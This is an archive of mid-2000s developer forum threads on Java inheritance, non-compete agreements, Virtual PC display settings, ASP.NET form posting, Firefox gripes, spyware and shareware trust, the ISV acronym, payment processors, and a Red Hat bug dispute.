Thu 24 Jun | cabby | ...or to say the same thing more concretely, and show that it's not just an arbitrary technical rule, but a fundamental quality of types that could not be any other way and still make sense... When you define the base, you describe it to its users. For example you might say that 'a Lamp is something that can be made by others to turn on and turn off.' class Lamp { public void turnOn() {...} public void turnOff() {...} } This is not just arbitrary codey stuff. You have just stated precisely for the record 'this is what Lamps are.' If you've just told users 'a Lamp can be made by others to turnOn and turnOff,' you cannot then turn around and say 'a DeskLamp is a Lamp and cannot be made by others to turnOff.' class DeskLamp extends Lamp { // WRONG public void turnOn() {...} private void turnOff() {...} } Here you've just told users, 'DeskLamps can only turn themselves off. That means that 'extends Lamp' is a lie. Because 'a Lamp is a thing that can be made by others to turnOff,' this thing cannot be called a Lamp. Compilers do their best to protect us from lies.
Thu 24 Jun | Dot For This One | Hmmm. Now I understand why the Sun Certificates have 80% failure rates on the exams. Java is a slippery language.
Fri 25 Jun | Koz | It's really not that hard. If A extends B then A can be used *EVERYWHERE* B can be. So A cannot behave in a way inconsistent with B. There's always protected void doSomething() { throw new SomeException(); }
Fri 25 Jun | no name | Heh. You can write this kind of thing in C++. But it doesn't have any effect. class A { public: A(); virtual ~A(); virtual void x(); }; class B : public A { public: B(); virtual ~B(); private: virtual void x(); }; int main(int argc, char* argv[]) { A* p1 = new A, * p2 = new B; p1->x(); p2->x(); return 0; } Implement the classes as you will, then compile & run. You can access B's x quite happily from 'main', and the compiler makes not a sound about you getting different results than you might expect.
Fri 25 Jun | John Topley (www.johntopley.com) | 'Now I understand why the Sun Certificates have 80% failure rates on the exams.' What is your source for this assertion?
Fri 25 Jun | Java guy | I've used Java full-time for several years. Does everything else in the Java language and environment make sense? Then why do you expect this to? You can search for years for a perfect language (I used to!), but any language will have a dozen things that frustrate you and seem to make no sense. Just take a deep breath, accept that the language isn't perfect, and come up with some sort of hack that'll do what you want. :-)
Sat 26 Jun | cabby | This is *not* a case of a language not making sense, or being imperfect.  (Although Java is leagues away from perfect.)  This is not even a Java issue.  It is the fundamental nature of types.  What the original post suggests -- to define what some type is, and later contradict that definition in a subtype -- is what would not make sense.  Don't criticize a language for discouraging silly ideas.
Sat 26 Jun | cabby | I almost forgot... Java Guy's 'hack around it' advice is terrible. It's no wonder our jobs are all going to India, if that's the way people work here. Why pay BMW prices at K-Mart? If you're needing this type violating craziness, somebody has grossly blundered the design at some level. Figure out where the design went so horribly wrong, and fix that.
Sun 27 Jun | Java guy | It doesn't matter if it makes sense or not. It's pointless to ask why Java is the way it is. Sun's holding on so tight no matter how much you complain and how obvious the design flaws are they aren't going to change it. This specific case, yeah, there's a reason for it. Next time there may not be. But getting in the habit of asking 'Why does Java do ?' is just going to make you frustrated. My job's just fine, thanks, as is my code. What the heck are you talking about, BMW and k-mart?
Confidentiality/Non Compete Agreements? | Thu 24 Jun | Anony Moose
The company Im working at wants me to sign a confidentiality agreement (ok) and a Non-Compete agreement. I dont want to sign it. I do run a competing business - though compete is a strong word, its like saying two fishermen on opposite sides of the lake are competition - theres plenty of fish. It also stipulates that I cant compete with them for 3 years after I leave them. It doesnt specify whether or not it matters if they let me go or I leave myeslf. I bring to the table not only my skills, but contacts & industry information Ive made by being in a similar field for a few months. Theyre primarily a retail/wholesale bricks & morter outlet, Im a web guy. They want to expand to the web, which is why they got me. The tried to do this years ago, but without much success. So Im their ticket to success on the internet. Without me, theyre back at square one. Ive done some good work for them, but only with my skills, nothing yet really involving my knowledge of the industry or my contacts. I dont have a lot of money, but I could survive without them, especially if my business starts making money, which it looks like it will, in the next few months. How would you handle this situation? Sign the agreement, cross out offensive parts & then sign it, refuse to sign it without certain changes to the wording or addendums that specify what I should or should not be allowed to do (i.e. I can do internet, but I cant do retail). Were still negotiating a compensation, and it seems the real issue here is whether or not Im to become his employee, or something else, an independant contractor, or business partner, etc. He wants to own me, and I dont want that to happen. Any advice is welcome.
Thu 24 Jun | Neat Chi | Hire a lawyer to finish negotiating the contract, one who can politely tell them where they can shove their non-compete.
Thu 24 Jun | Inside Job | You certainly should not sign the documents as they stand. You are not only getting their business going, but also destroying three years of potential business for yourself. At a bare minimum, you should strike out the clauses relating to non-compete and perhaps also confidentiality. It sounds like there is a conflict between their definition of the role they hired you for, and what the role is or might actually require. This can be accidental, but sometimes it's deliberate. If they really need you to build their business, you should insist on a contract that covers you for the full term they propose and would pay you out if they terminate early. In other words, get proper payment for what you're providing.
Thu 24 Jun | Matthew Lock | Check with a lawyer. Those non-compete agreements are rarely legally enforcable, at least not in Australia.
Thu 24 Jun | Inside Job | Non-competes are non enforceable if they're too broad. Three years would be too broad. But don't rely on that. You don't want to have to defend a law suit. Attack the problem up front.
Thu 24 Jun | hoser | Definitely negotiate.  Don't walk away.  A reasonable non-compete says you don't compete while you work for them.  After that, not in force.
Thu 24 Jun | Matthew Lock | Oh yeah, just because it might not be enforcable don't sign something you don't agree with. I have had a similar clause in a contract before and complained about it, and the boss promptly removed it . I suspect they are often just trying it on.
Thu 24 Jun | Anony Moose | Lawyers sound expensive. While the potential to make a lot of money is there, there's no gaurantee. He probably got this document from Staples or LegalDocuments.com or something of the sort, I don't see why I should have to invest in a lawyer. I've found another confidentiality agreement online, and it doesn't have any non-compete clauses, maybe I should present it as an alternative. It's probably just as legally binding as the other one. I should note that this confidentiality agreement is a good negotiating point. Not signing it shows that I'm not going to accept just anything in my relationship to him & his company and that I'm willing to walk away from anything less than a favorable agreement. Negotiations really are a stare down sometimes, and have a lot more in common with haggling than you'd think. From the streets of flea markets to the office, tactics remain largely unchanged.
Thu 24 Jun | Matthew Lock | You can get a lawyer to read over a contract for about $100 in Australia. What about the US and the UK? I bet it's still worth the money.
Thu 24 Jun | no name | in hungary if you sign a non-compete with your employers, and he fires you he should pay ~80% of your salary for the period of the non-compete. so 2 years of sunny vacation with a good salary.
Thu 24 Jun | Steve Jones (UK) | Just a thought... Are they just trying to take you out of the game ? Consider this. If they hired you, with the three year non-compete, etc, then you lost your job after a couple of months (for whatever reason), they may have got rid of one of their main competitors (in the web market, at least). Although your point about negotiating being like a stare-down contest has some merit, it can also be about how much, or little, the parties want it to happen, or how much they have to lose. If you aren't that bothered, you can afford to be more assertive, but if you have mouths to feed, you'll sign.
Thu 24 Jun | Inside Job | AnonyMoose, the bottom line is this - you should not agree to the non-compete and probably not to the confidentiality stuff either. If the situation is as you say, then you're probably pretty safe if they decide not to hire you. In fact, you're probably better off. Sometimes these types of contracts are accidents, but sometimes they are deliberate. You should find out which this is, but either way, don't agree to it as it stands. A low-cost approach to the situation is to delete all reference to non-compete and anything else you don't like, and sign that. Make sure the other party signs the same contract. If they just sign, it was an accident. If they try to monster you, you know you've just saved yourself a lot of grief.
Thu 24 Jun | Stephen Jones | I'd say get a lawyer to look over the confidentiality one you've downloaded. It's three years of your life at stake. Of particualar importance is reuse of code. If you're absolutely sure about it offer it though. Tell them point blank that you're not prepared to accept non-compete unless they want to pay you full whack for the whole period.
Thu 24 Jun | kc | GET A LAWYER. Technically, as soon as you sign the existing contract, you would be in breach of it.
Thu 24 Jun | Dan Brown | You've got an interesting situation. As I understand it, you and your employer are discussing a business (Internet-based sales) that might or might not work out for them. Presumably you can solve the technical issues for them, but you personally can't solve the business issues, such as how to reach potential customers, and how to service remote customers. That is up to your employer. Your employer is asking for a commitment (3 year non-compete) regarding a business over which you have only limited control. That doesn't make sense for you. You present the situation as potentially more of a business-to-business partnership, in which you have important relevant skills and experience, but you are an employee, which is a specific legal relationship. This leads to both business and legal issues. The business issues seem clear. If I were signing a contract with another business, I'd never agree to a three-year noncompete for something that is a new line of business for my partner. What happens if they walk from the business? What happens if they find a better partner? The best business agreements spell out clearly what is required of each side to remain in the agreement, and spell out clearly how to leave. Most business ventures don't work, so the how to leave portion is important. Is there anything behind the request for a long non-compete? Is the business worried that what you are doing is so valuable, anyone else could compete with them if you were involved? That doesn't say much for their business confidence. An existing, successful business should have a huge advantage. Are they worried that they won't need you at all once the software is done? A company that expects to be successful in a new business should assume that they would keep you very busy for some time. Is there a specific competitor that they are concerned about? Did they have a bad experience with a previous employee? Do they just have no clue what they are doing? Can you negotiate with them about what business arrangement makes sense? You'll need a lawyer to find out how it can be structured if you are an employee. Overall, it sounds like they are more concerned than they need to be. If their business is successful, you'll want to be around anyway, and if their business fails, they won't care if you compete with their failure.
Thu 24 Jun | Phillip J. Eby | My suggestion: simply ask what he's going to pay you for those three years. That's all. Don't argue, protest, whine, just ask the question. Then tell him you'll think about it, assuming he answers and doesn't tell you to let *him* think about it. :) The company I worked for last, they asked me about once a year to sign over perpetual rights to a bunch of things, and each time I asked how much they were going to pay me for it. Following which, it would get quiet and I wouldn't hear anything again until the next year. It took 6 years of that before they finally laid me off, so I think it worked out fairly well for me. :)
Thu 24 Jun | Dennis Atkins | Do not sign. Do not sign. Do not sign. i've been through this and you will be screwed in the end. If you modify the contract, not only must you sign it, but the principals of their business must sign it as well. Do not go in as employee but as contractor. Tell them the non-compete is OK but you want $250,000 for your customer list up front and a $1.6 million golden parachute when you leave to cover the three years during which they are preventing you from working. Be sure to mention the valuable contacts you bring to the table as a contractor in the contract you do sign. A decent lawyer who is capable of negotiating this sort of deal will run you $300-$600/hr. If that is out of your price range, you shoud not be working for these people at all.
Fri 25 Jun | Peter | Get a lawyer. I have seen a few situations where folks have been called for references only to hear things like 'what? he has a no-compete clause in effect. What will he be doing there?' which effectively destroys your chance of gettting a job for some time.
Sun 27 Jun | Voice of rationality | I've been doing a mix of consulting and contracting for 10 years. I've signed a confidentiality agreement for almost every project. Every business wants to be protected, and it's never harmed my work. If I do good work, it's rarely a problem to get exemptions that allow me to use the project as a reference for other business. No-competes on the other hand are a major inconvienence to the vendor and typically provide only minor benefit to the client. I've never signed one, and only once did I turn down business because of that stance. It's not a hard-and-fast rule (I'd do it for enough $$), but there's never been a case when that's true. To summarize.. don't overreact to this type of demand (as much of the discussion above would have you do). Instead, treat it as a legitimate signal that the client is very concerned with their intellectual property and data, and negotiate on that basis. Usually signing a confidentiality agreement is sufficient.
Virtual PC / Redhat meltdown | Wed 23 Jun | john haren (seriously considering Solaris)
Hey all -- Im running VirtualPC on XP pro and have Redhat 9 installed. Basic install works great: problem is the X server, which is turning into a real pain. Oh, it runs, all right... it produces garbage. Ive been dorking with the XF86Config file for hours now. My setup: Host System - XP pro Guest OS - Red Hat 9 Card - Nvidia Geforce 5200 Monitor - generic Dell POS @ 60hz Anyone experience anything similar? Changes in driver, resolution, bpp, dont seem to help any. Basically Id be happy to get X running at 800x600 @ 16bpp. But even that seems to be eluding me. thanks,
Wed 23 Jun | hoser | cat /var/log/XFree86.0.log >dump Send me the dump with a description of your problem. No guarantees.
Wed 23 Jun | horace | Thanks!
Wed 23 Jun | VMware | Linux on VirtualPC? Not supported. Use VMware.
Wed 23 Jun | Patrick Franz | I remember having this problem and I found an article about it on the VPC site (pre-Microsoft takeover). I believe that you have to change the color bit-depth setting to 16 from 24 in the X config. Once you do that, everything should work fine.
Wed 23 Jun | Patrick Franz | And here is a link to the KB article: http://support.microsoft.com/default.aspx?scid=kb;en-us;825379
Thu 24 Jun | Michael Moser | i had problems with the gnome desktop. It eats up lots of resources, and apparently there are memory leaks Dump it for anything, i use icewm. It might solve your problems.
Thu 24 Jun | Just me (Sir to you) | I have the same setup running, but had the same problems as you when I installed. If remember correctly it has to do with color depth. Check the Virtual PC help. Virtual PC does not support all color modes. Set your RedHat desktop to a supported setting and everything should be fine. My settings are 800x600, 256 colors, S3 Trio64 (generic) 8Mb
Thu 24 Jun | Brad Wilson | Just to echo, I have Linux running on VPC. You must use an 8-bit, 16-bit, or 32-bit video mode; in particular, 15-bit and 24-bit will fail. http://dotnetguy.techieswithcats.com/archives/004025.shtml
Thu 24 Jun | horace | Thanks everyone! I'm going to try changing only the bpp and work from there.
Thu 24 Jun | John Haren | Ha ha! 16 bpp works! (Talking to ya from inside Redhat9.) The 800x600 resolution blows, though. Gotta see what I can do about that. Thanks to everyone for the help.
Sun 27 Jun | David Lightman | Hi I just managet to go 1024x768 16bps on VirtualPC using a gentoo. I just selected S3 generic (not trio) with 8MB of RAM and all goes fine
[ASP.NET] Forwarding POST information | Wed 23 Jun | Paul
Howdy all, I have an ASP.NET page which uses a web form to collect data for a report. I want the information in the page to be submitted to another page (using HTTP POST) AFTER it has been validated on the first page. I.E., I want the original page to both provide the input boxes, do the validation, and print any errors. If it all went well, I then want the data to be forwarded on to a second page. Is there an easy way to do this? In case youre wondering why I want to submit data to another seperate page, its because I want to be able to submit from both the web form, and my own applications, and from other web pages, all to the same submissions page. Thanks guys!
Wed 23 Jun | Matthew Lock | You want to use web services. Then you can get your ASP.NET app and you winforms application to submit to the same place.
Wed 23 Jun | Gary van der Merwe | Hi there I don’t know how long you have been working with server side web pages Paul. I’m going to assume that you are quite new, but if you aren’t, and I sound condescending, I apologise. I’m also assuming that you are quite far in to the development of this web application. If you are not, please let me know, I have some beliefs in how web application’s should be written, but these generally require starting from the beginning. And as you may well know, rewriting is a practice that is frowned upon some of the members of this community, as well as Joel. As with almost every thing in computing, there are many ways to skin a cat. 1. Use client side script to do the validation, and post to directly to submissions page. See http://www.w3schools.com/js/js_intro.asp for a good JScript tutorial. See http://www.w3schools.com/js/js_examples_3.asp for examples of client-side form validation. Why will the posts from the application not have to validate? If it is because the application will be doing its own validation, then this is probably the best solution, as the two solutions will be similar. 2. If the server-side validation is successful include a script to post the data to the submissions page when it has finish loading. E.g.: …… …… //only include the onload=… when validation was successful. If you do it this way – the performance is bad because 2 http post occur, but when the Submission finally loads, the url in the browser will be correct, which is think is desirable, but I don’t have any reasons why. This is similar to doing a Response.Redirect, except Response.Redirect will not facilitate the data transfer. 3. Put the form data into session variables, and then do a Response.Redirect. This is a really kak solution. Please don’t use it. It has many flaws. If you are thinking of using it, please email me and I will give you a million reasons why not to. 4. Control the response on the server. Again, there are a number of ways to skin a cat.: a. Do a Server.Transfer. I have read an article on MSDN library in the past, detailing how to transfer data from the “form” page to the “submission” page. I did a search for it, but could find it. I am sure that if you look hard enough, you will probably find it. If you already have written the “form” and “submission” pages, then this is probably the best solution as it can just be “plugged” in. b. Create 2 panels on you page, one for the form “page”, and one for the submission “page”. The submission panel should have it’s visible property set to hidden by default. If the validation was successful, hide the form panel, and show the submission panel, by switching there visible properties. Also include a hidden field, used to indicate whether or not the form was posted for the form panel, or form the application. Hope that this is a help. Please let me know if you want some more.
Wed 23 Jun | Clay Dowling | For the more sensible answer, consider encapsulating the necessary processing in a class. Then each page that needs that behavior either derives from the class, or more likely creates an instance of that class to handle the processing. This will be easier to implement, have better performance, and be easier to maintain than the proposed solution. If you need additional help with this contact me via private mail and I'll be glad to help you out. Be warned that if you actually need somebody to write the code for you, it will cost. Hopefully though, you're a bright enough chap to figure out how to do that on your own.
Wed 23 Jun | Brad Wilson | I'm surprised nobody has mentioned that this is not only a bad idea from performance, but also from security. If that 2nd page doesn't validate data, then I could post to it directly and bypass the validation. If it does, then what do you need the 1st page for, anyway?
Wed 23 Jun | Don't Blame Me | 'I'm surprised nobody has mentioned that this is not only a bad idea from performance, but also from security.' That's because we were all waiting for the Wonder Boy Brad of .NET to come tell us to smart he is. Again.
Sun 27 Jun | Raj Chaudhuri | Yes, there is an easy way to do this. Before you use it, though, consider the advice given in the rest of the posts on this topic. That said, what you need is a method called Transfer, of the HttpServer clss. In your code, you just need to write this.Server.Transfer(, true); The second parameter preserves the GET/POST contents for the second page.
firefox - grrhh | Mon 21 Jun |
Stylesheets loads later, font style changes after I start read an article. Grrhh. I dont have a printer installed. Print preview. I receive an error. Goes to print preview mode anyway. When I hit Close nothing happens. Grrhh. They reprogram the dropdown list box control. Slow as hell. Especially under Fonts & Colors. Grrhh. google.co.hu, hungarian characters do not show up correctly. google.com, hungarian characters are ok. Grrhh. Some of the sites are completely unreadable. Eg http://prohardver.hu/index.html. Grrhh. Slow image rendering. Grrhh. Miguel de Icazas activity page looks ugly. Grrhh.
Mon 21 Jun | no name | Time to get a rabies shot, bro
Mon 21 Jun | pickle | That's the beauty of open-source projects, you can just fix the problems you find yourself.
Mon 21 Jun | muppet is now from madebymonkeys.net | ...in all your spare time. So don't complain. You bastard.
Mon 21 Jun | Michael Moser | Miguel de Icaza - couldn't even get his norton command clone right. Midnight commander sux. He never finishes a program - at some stages it is dropped and he goes over to the next one.
Mon 21 Jun | MilesArcher | Is someone paying to finish things? It's not fun to do the last 10%, so it's not surprising that someone doesn't do it unless they are being paid to produce commercial software.
Mon 21 Jun | Martin A. Boegelund | Nokia is paying to get Firefox smartphone ready. http://news.com.com/Nokia+cash+boosts+Mozilla/2100-7344_3-5236730.html
Tue 22 Jun | Katie Lucas | Why are you trying to print if you don't have a printer set up?
Tue 22 Jun |     | 'Why are you trying to print if you don't have a printer set up?' it's called basic testing to see if the software is worth to use it
Wed 23 Jun | Keith | I use firefox as my main browser in Wndows XP and sometimes in OS X, but Safari is my default there. I haven't seen any of the issues you are describing. I would suggest you completely remove your Firefox directory and reinstall firefox, sometimes previous version files will cause wierd issues.
Wed 23 Jun | Espen Antonsen | it's a beta product so stop complaining and fill out a bug form instead.
Wed 23 Jun | muppet is now from madebymonkeys.net | +++it's a beta product so stop complaining and fill out a bug form instead. +++ It's a beta product that's held up by many in forums all over the internet to be the be-all end-all of browsers, and the single best browser on the market. An IE killer. Clearly, it's not (yet). Therefore, bringing the issues with Firefox to light (in places other than the bug tracker which is a relatively narrow audience) is perfectly legitimate.
Thu 24 Jun | Szász Attila | Just checked prohardware.hu and it renders exactly like in IE, and the hungarian characters are ok. What's your problem?
Sun 27 Jun | Brian Williams | I was searching for firefox discussions and found this one. I like it--faster loading than mozilla, not the target for hijacks that IE is, popups blocked, etc.  Generally works OK--but I get a lot of "*******.com" not found messages.  For common and uncommon sites (yahoo, for instance, sometimes can't be found).  This started after I installed Firefox--doesn't seem to happen with IE.  Normally a reload or another hit on enter fixes it--but @#$^%#%, you're not going to kill IE this way.
Did spyware kill shareware? | Sun 20 Jun | Michael Moser
A question to shareware authors. Are people still ready to download and try out shareware? How do you create enough trust so that people would not suspect you of planting another key logger? Is security paranoia much of an issue with regular users, or is that more of a corporate thing (Corporate policy like never ever install anything not approaved by the company) ?
Mon 21 Jun | Ankur | IIS has an FTP server included (for free) with Windows :) I stopped downloading shareware that hasn't made a name for itself due to the spyware issue - I'll stick with things like Paint Shop Pro or WinZip, but I won't download newer entries unless a trusted source reviews the software first.
Mon 21 Jun | Tim Serong | > Why take a risk on a project/product you don't know > and can't know (ie. look at the source) if you can get a > comparable Open Source app? Some combination of the following: 1) You're not a programmer and don't understand the source. 2) You *are* a programmer but can't afford to spend the time looking at the source, so you go for whichever type of software does what you want it to. And, most interestingly: 3) When you buy software, you're paying for the expectation that the product will be supported by someone. If there's a company selling software, it's reasonable to assume that they have a commitment to supporting their users, and continuing to develop the product in future. There's one simple place you can go to get help, and you know about it from the word 'go'. Of course, this commitment may or may not actually exist, but it's all about perception. This perception may well be there for the high profile OS/FS offerings (Mozilla, Linux, anything from GNU, etc.) and indeed there is a wealth of information available for these things, and many people/organizations you can ask for help. However, there will still be people who want to see a company behind a product, or a company offering support for same. Somehow this puts me in mind of the discussion between a Linux spokesman and a potential OS customer outlined in 'In the Beginning was the Command Line' by Neal Stephenson (http://www.cryptonomicon.com/beginning.html) > Hacker with bullhorn: 'Save your money! Accept one of > our free tanks [Linux]! It is invulnerable, and can drive > across rocks and swamps at ninety miles an hour while > getting a hundred miles to the gallon!' > > Prospective station wagon [Windows] buyer: 'I know > what you say is true...but...er...I don't know how to > maintain a tank!' > > Bullhorn: 'You don't know how to maintain a station > wagon either!' > > Buyer: 'But this dealership has mechanics on staff. If > something goes wrong with my station wagon, I can > take a day off work, bring it here, and pay them to work > on it while I sit in the waiting room for hours, listening to > elevator music.' > > Bullhorn: 'But if you accept one of our free tanks we will > send volunteers to your house to fix it for free while you > sleep!' > > Buyer: 'Stay away from my house, you freak!' > > Bullhorn: 'But...' > > Buyer: 'Can't you see that everyone is buying station > wagons?'
Mon 21 Jun | Tony Edgecombe | To answer the original posters question, yes people are willing to download and try software. We have seen consistent growth in our download rates over the last year. Spyware probably has a small impact but if you present a professional web site with a stated policy and open forums’s you can generate enough trust for people to download and buy. If an Author had a problem with trust I can’t see how developing in a sandbox would help, if you can’t present yourself as trustworthy then no amount of technology is going to get the customer to install your software. I don’t agree with the point on Open Source killing shareware, it costs money to develop and promote software, if you have no money coming in then you can’t promote it. The only significant open source projects used are supported by organisations like IBM or Redhat which have an interest in there being an alternative to the commercial market leader. As soon as you look outside the mainstream there are gaping holes which open source doesn’t and can’t fulfill. Ask Joel, he has two products with huge amounts of OS competition yet his business appears to be thriving. Hoser makes a good point about download sites, as the majority of them don’t validate the software they promote anything can get through. Download sites have probably had their day in terms of promoting software, we now get far more sales from other sources.
Mon 21 Jun | Zaenal Haq | Well reputable sites like download.com, snapfiles, majorgeek are the place that I trust to download freeware/shareware. I never download directly from site that I don't know anything about.
Mon 21 Jun | Tony Edgecombe | The only thing you need to get a listing on download.com is $79, as far as I'm aware the only download site who do check out your software before listing is Tucows.
Mon 21 Jun | Junkster | 'Why take a risk on a project/product you don't know and can't know (ie. look at the source) if you can get a comparable Open Source app?' In all honesty, it's because quality matters above all else. Open vs. closed source is irrelevant; what matters is that the software is reliable and easy to use. There's some incredible open source software for behind the scenes stuff, like Perl and Python, but in my experience, under Windows, there's very little in terms of open source that can compete with commercial and shareware applications. There's some, yes, but not much. Now on spyware killing shareware, yes, that's very true. People are getting afraid to download and run anything. This applies equally to commercial demos and precompiled open source applications.
Mon 21 Jun | David (www.davesez.com) | It's an interesting question. I hadn't thought it about it that before, but I know that I'm very wary of downloading and installing stuff now. If anything, it's doing more damage to freeware, if that makes any sense. You have to figure that shareware is supported by the money people pay, not by fees from spyware referals. I'm much more suspicious of professional-looking free software these days.
Tue 22 Jun | Just me (Sir to you) | I don't understand how you can believe 'looking at the sourcde' is going to give you any info wrt. spyware etc. All it takes is planting one frigging byte to create a vulnerability. Software that has had decades of manhours sifting through the code still turns up to have vulnerabilities, but somehow, some people still believe that a quick codesniff by their godly eyes will prove some software is 'clear'. I mean wtf are you looking for? /* Here we plant the bufferoverflow that we will exploit to plant our keylogger */ strcpy(buf, code);
Sun 27 Jun | osg | Just me: I think it's largely about accountability. If somebody *does* find a security hole (by observing it in action -- not by examining source code), you look at the diffs in CVS and see, oh, Larry Wall put that there. Well, he's a good guy, and it looks like an accident, so it's not too bad. Or: here's a script that Larry wrote, so we can trust it. Or, here's a program that's been hacked on by 50 different people over the past 5 years. By now, all of the original code has been changed, so unless they're all in cahoots, it's probably pretty safe. OTOH, companies feel like big black boxes. If you do find a security hole, how soon until they fix it? How did the bad code get in there? Who wrote it? Who fixed it? Also, proprietary programs have had backdoors in them for years before they were discovered. I can't think of any open-source program that did that. Open-source programs usually have a benevolent-dictator. There's one guy betting his reputation on the quality of this program, and showing you the code, to boot. This turns out to be a pretty good motivator to keep things on the up-and-up.
Uhh... What does ISV stand for? | Fri 25 Jun | name withheld out of embarrasment
Okay this is the 2nd-stupidest question ever, but what the heck does ISV stand for anyway? I know what they are, but Ive never seen the acronym explained. Thanks
Fri 25 Jun | Coward I am! | I maybe wrong but Idependent Software Vendor.
Fri 25 Jun | Sathyaish Chakravarthy | Eric Sink has devoted one link to explaining what an ISV is, in one of his early articles. Here, http://software.ericsink.com/Small_ISV_Defined.html
Fri 25 Jun | Joel Spolsky | ISV = Microsoft's word for "Any Software Company Which Is Not Microsoft."
Fri 25 Jun | Sathyaish Chakravarthy | RFLMAO!
Fri 25 Jun | Green Pajamas | He's true. As Eric stated in his articles, this is the term coined by Microsoft and is used for any software company that is not Microsoft. :)
Fri 25 Jun | Sathyaish Chakravarthy | I thought it was a response along the lines of this http://software.ericsink.com/20040621.html
Fri 25 Jun | Poof | Does anyone know what the word 'independent' imply? Independent from whom? Most likely Microsoft? And indepent for how long, until they become depended? Whoever at the marketing department of Microsoft came up with this term is a brilliant person. What other catch phrase can differentiate your product from the sea of available alternatives. IMO software developer who doesn't work for MS and labels himself as ISV, is doing himself a great disservice at least in the eays of major corporations who are evaluating software solutions for some need. For example: will Ford or GM go with software from MS or just an ISV?
Fri 25 Jun | x | http://www.acronymfinder.com/af-query.asp?String=exact&Acronym=isv&Find=Find
Fri 25 Jun | Tom H | If Microsoft isn't independent, what is it? And aside from Microsoft, are there any software vendors that are *not* independent? What would they be called? Dependent (on what)? Enslaved? I think the term might predate Microsoft though, it seems like an IBM invention.
Fri 25 Jun | Norrick | Joel, you're sounding bitter.  :P  Not that I blame you, of course.
Fri 25 Jun | sgf | 'If Microsoft isn't independent, what is it? ' The thing to be independent from. Sort of like continent vs. island. :)
Fri 25 Jun | ISV? | I think the term originated to differentiate between software companies who didn't do their own hardware and those who did.  IIRC, Microsoft was the first ISV, at least for microcomputers.
Sat 26 Jun | Simon Lucy | Nah, Microsoft has never been an ISV, Joel's right it's Microsoft's positioning of everyone else.
Sat 26 Jun | . | I was under the impression that an ISV is an individual or partnership, as opposed to a company, producing software for sale.
Sat 26 Jun | Mitch & Murray (from downtown) | Joel is right on the money.
How to accept credit card payments? | Fri 25 Jun | Kyle
We are starting up small ISV and are researching how to accept credit card payments. Any advice appreciated. So far the only two things weve researched are talking to our bank about becoming a credit card merchant (seems too expensive for us at this point) and using PayPal services (seems too amateur for us). Is there some options in the middle?
Fri 25 Jun | Lou | Several hosting companies have credit card processing abilities.  Unless you need to host this on your own box you might want to consider leveraging the hosting company's work.
Fri 25 Jun | Simon Lucy | Apply here, see how much the costs are. http://www.ukbusiness.hsbc.com/hsbc/mrp/cards/accepting-debit-and-credit-cards Hosting arrangements tend to tie your money up for 60-90 days.
Fri 25 Jun | josheli | could try a third party processor like http://www.2checkout.com/ they seem to be most popular with the internet biz crowd but once you reach a certain level of business, it's cheaper to get a merchant account with a bank.
Fri 25 Jun | Green Pajamas | http://www.plimus.com/ http://www.shareit.com/ http://www.esellerate.net/
Sat 26 Jun | Bill Rayer | I've spent the last few weeks looking into this because I want 'buy now' buttons on http://www.lingolanguage.com (my website). To summarize I closed my paypal account of 3 years yesterday, and chose http://www.nstarsolutions.com - although their commission is somewhat high. There are 2 kinds of providers: paypal, ikobo etc which require a lien over your account or credit card (read the small print!!), and shareware-type processors which send monthly payments and don't want bank account details. The first type charge less, but if you end up in dispute you have problems since they have the legal right to empty your account. Look at http://www.paypalsucks.com for more. If you're really interested I can post details of all the places I checked out. To save time I suggest you visit http://www.blackcatsystems.com/regservices/ and http://www.paypalsucks.com/options.shtml for a summary of online processors.
Not a bug? | Fri 25 Jun | Chris Ormerod
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=119185 That is the funniest thing I have read this week. I am not familiar with where this problem is. Is it in Linux itself or is it in RedHat? Is Jeff a redhat employee or a Linux OSS dev? (Hopefully the latter, otherwise that argument of companies using RedHat to get support kinda goes out the window...)
Fri 25 Jun | Tom H | 'Is Jeff a redhat employee or a Linux OSS dev? ' Seems more like a troll, we have plenty of them in this forum too.
Fri 25 Jun | Simon Lucy | If he's a QA owner of rpm then he'll be an employee. This proves my standard contention that only originators of bugs should be able to close them, not responders. They might have a status of WONTFIX but it should still remain open.
Fri 25 Jun | Chris Ormerod | Are you saying 'Jeff' is a troll or me? I was just pointing out something quite funny (in a developer sort of way), not meaning to troll for anything apart from maybe some opinions on wether the described functionality is by design or a bug.
Fri 25 Jun | a cynic writes... | I think it's a kit-car special. (BTW I only have limited Linux experince so feel free to correct me). To start the bug appeared on Fedora Core - which is a sort of unsupported-development-use-at-your-own-risk -version of RedHat. The relationship between FC & RH is close. RPM is the 'Red Hat package manager' and is a widely used format across several distros. YUM is the 'Yellow Dog Updater (Modified)' which sits over the top of RPM asa sort of optional extra. So there's a few questions to ask - is it down to RPM (which could effect a lot of distros) or YUM (which wouldn't) and if Jeff wossname does work for RH when did they start employing children.
Fri 25 Jun | Chris Ormerod | a cynic writes.... Thats kinda what I was thinking, that Jeff guy can't be truly thinking that this isn't a bug unless he was a child. Quite clearly any normal program shouldn't be able to corrupt an important database just because a partition was readonly (and if it can corrupt a database that is stored on the readonly partition? that would make it an even worse bug - but I don't think this is the case.)
Fri 25 Jun | Philo | To be honest, I think Jeff's caught in the wrong mental loop about the bug - for whatever reason he thought the bug was about RPM not being able to install to a read-only directory (which isn't a bug), and can't get his gears shifted. That's happened to me on occasion. I've learned when it seems that everyone is lost but me to go talk to a peer (or ask here) to try to figure out what I'm not getting. It's like the Eudora loses mail bug - if you run out of hard drive space while Eudora is downloading mail, Eudora just dumps the lot. I'll bet some QA person reads the bug reports and thinks 'well, what else can Eudora do when the disk is full?' without realizing the problem isn't pulling the mail to a full disk, it's deleting the mail from the server before guaranteeing delivery. And yes, I'm sure MS has done its share of 'misunderstanding the bug that's being reported' :-) Philo
Fri 25 Jun | muppet from madebymonkeys.net | Hilarious.
Fri 25 Jun | Tom H | 'Are you saying 'Jeff' is a troll or me?' I was referring to Jeff, but I agree with Philo. Basically Jeff said 'of course it won't work, so don't do it ya moron'. But he misses the point that if someone accidentally does do it, the sofware should handle it gracefully. I've gotten the same response many times (usually sprinkled with lots of four letter words) over the years, it's everywhere.
Fri 25 Jun | Simon Lucy | I've added comments to that effect and that a new bug should be opened. It seems though that he's still stuck in the same loop. I wonder if he's aware of the JOS effect?
Fri 25 Jun | Chris Ormerod | Now I have read Philos response I understand how Jeff has been thinking. I have done sort of the same thing, but never when the bug report was as detailed as this guys.
Fri 25 Jun | Chris Ormerod | Jeff seems to have closed the bug again. I love his argument that it is the users fault that their RPMDB is corrupt because they ran it while /usr was readonly.
Fri 25 Jun | Guyon Morée | yeez, what an a$$ i'd fire this guy, especially when the company is running on support income(like redhat does right?).
